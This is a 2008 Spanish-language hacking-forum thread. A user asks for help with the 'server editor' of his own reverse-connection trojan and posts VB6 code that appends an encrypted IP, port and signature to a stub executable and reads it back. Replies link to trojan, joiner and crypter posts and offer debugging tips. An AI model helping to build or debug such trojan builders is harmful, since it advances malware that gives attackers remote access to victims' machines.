Obtener datos de un ejecutable

Iniciado por aaronduran2, 17 Septiembre 2008, 22:49 PM

0 Miembros y 2 Visitantes están viendo este tema.

aaronduran2

Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //CargarRes//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Extraer archivo de los recursos.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
    Dim File() As Byte
    If Dir(RutaCopy) = "" Then
        File = LoadResData(NumRES, "CUSTOM")
        Open RutaCopy For Binary Access Write As #1
            Put #1, , File
        Close #1
    End If
End Sub

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //cmdCrearServidor_Click//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Private Sub cmdCrearServidor_Click()
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    Open Ruta For Binary As #1
        Put #1, LOF(1) + 1, txtDireccionIP.Text
        Put #1, , "|"
        Put #1, , txtPuerto.Text
    Close #1
End Sub


Y este es el que lee los datos:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //LeerDatos//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Leer datos del servidor.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Dim DireccionIP As String * 15
Dim Puerto As String * 5
Dim Secuencia As String * 30

Public Function LeerDatos()
    Dim Secuencia As String * 30
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Get #1, LOF(1) - 34, DireccionIP
        Get #1, , Secuencia
        Get #1, , Puerto
    Close #1
    MsgBox DireccionIP & "|" & Puerto
End Function


Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.

cobein

Yo deje u code hace unos dias, miralo que ahi tenes la respuesta

http://foro.elhacker.net/programacion_vb/cryptosy_src-t227118.0.html

Sino busca que hay muuuuchos ejemplos de como hacerlo, por lo pronto te digo que parece que estas pisando los datos.
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

aaronduran2

Estuve probando con tu ejemplo pero el ejecutable final me queda inservible. Lo que necesito es guardar la dirección IP, un separador (por ejemplo "|") y el puerto, y luego que el servidor se lea a sí mismo y obtenga los datos. Pero no soy capaz.

Saludos.

yovaninu

Uff que recuerdo de mi primer Joinner, y aun lo sigo usando he! un poco mejorado claro, echale un vistazo se que lo entenderas, aqui esta el viejo post

http://foro.elhacker.net/programacion_vb/mi_primer_troyano_en_vb60-t170445.0.html;msg825373#msg825373

aaronduran2

#4
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.

yovaninu

Cita de: aaronduran2 en 18 Septiembre 2008, 17:59 PM
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.
si dices el error, de seguro que lo solucionamos

lo de la mini encriptacion es simple, no le afecta en nada, no deberias tener problemas con ese codigo

aaronduran2

A ver, tengo dos campos de texto con la dirección IP y el puerto y utilizo el siguiente código:
Código (vb) [Seleccionar]
Private Sub cmdCrearServidor_Click()
    Dim TamañoIP As String, TamañoPuerto As String, TamañoFirma As String, TamañoTotal As String
    Dim DatosEncriptados As String
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    DireccionIP = txtIP.Text
    Puerto = txtPuerto.Text
    Firma = "Editado"
    DatosEncriptados = Trim$(Puerto) & "|" & Trim$(DireccionIP) & "|" & Trim$(Firma) & "|"
    DatosEncriptados = cifrar(DatosEncriptados)
    TamañoIP = Len(DireccionIP): TamañoPuerto = Len(Puerto): TamañoFirma = Len(Firma)
    TamañoTotal = TamañoIP + TamañoPuerto + TamañoFirma
    Open Ruta For Binary As #1
        Seek (1), LOF(1) + 1
        Put #1, , DatosEncriptados & Trim(Str(TamañoTotal))
    Close #1
End Sub


Y en el servidor tengo esto:

Código (vb) [Seleccionar]
Public Function LeerDatos()
    Dim DatosLeer As String
    Dim DatosSeparados As Variant
    Dim DatosDesencriptados As String
    Dim nd, nd1 As String
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
        DatosLeer = Input(LOF(2), #2)
    Close #2
    MsgBox DatosLeer
    nd = Right(DatosLeer, 2)
    MsgBox nd
    nd1 = Right(DatosLeer, Val(nd) + 5)
    MsgBox nd1
    DatosDesencriptados = descifrar(nd1)
    DatosSeparados = Split(DatosDesencriptados, "|")
    DireccionIP = DatosSeparados(0)
    Puerto = Val(DatosSeparados(1))
End Function


Puse MsgBox nd y MsgBox nd1 para ver lo que mostraba antes de hacer el proceso completo. No me funciona. Espero poder solucionarlo. Además, quería añadirles más cosas para guardar en el ejecutable, como el tipo de inicio, etc...

Saludos.

aaronduran2

Yo había hecho este código, pero el servidor no me lee nada.

En el editor:

Código (vb) [Seleccionar]
Open Ruta For Binary As #1
    Put #1, LOF(1) + 1, "|" & DireccionIP & "|" & Puerto
    Put #1, , Secuencia
Close #1


En el servidor:

Código (vb) [Seleccionar]
Dim Datos As String
Dim DatosSeparados As Variant
Dim Secuencia As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    Get #1, LOF(1), Datos
    Get #1, , Secuencia
Close #1


Los datos están cifrados. Accedo con el Hex Workshop al archivo creado y veo los datos, pero después no soy capaz de hacer que el servidor los lea. Si alguien me puede ayudar...

Saludos.

cobein

Asi no vas a llegar muy lejos, mejor lee un manual de como leer y escribir archivos.
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

s E t H

probaste usar el debuguer de vb6?

creo que al leer con "    Get #1, LOF(1), Datos" lees todo el archivo, y en Secuencia no te queda nada.. debuguea y fijate